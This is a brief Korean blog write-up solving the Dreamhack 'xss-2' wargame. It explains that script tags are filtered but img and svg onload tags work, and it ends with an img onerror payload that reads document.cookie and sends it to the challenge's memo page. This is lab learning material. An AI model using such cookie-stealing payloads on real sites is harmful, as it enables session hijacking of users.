Wargame/Web

[Dreamhack] XSS-2

월루이 2022. 6. 21. 10:38

문제

https://dreamhack.io/wargame/challenges/268/

 

xss-2

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference ClientSide: XSS

dreamhack.io

 

 

 

 

문제풀이

 

xss-1과 비슷하다.

 

 vuln(xss) page에 들어가보면, 아래와 같이 script 태그를 우회하는 것을 알 수 있다.

 

 

img 태그와 svg/onload 태그는 잘 작동하는 것을 볼 수있다...!

 

 

 

 

 

 

그러면 flag 페이지에는 아래와 같은 스크립트 문을 넣으면 

memo 페이지에 flag가 출력된다.

 

나는 img 태그를 이용했다.

 

<img src=1 onerror='location.href="/memo?memo="+document.cookie'/>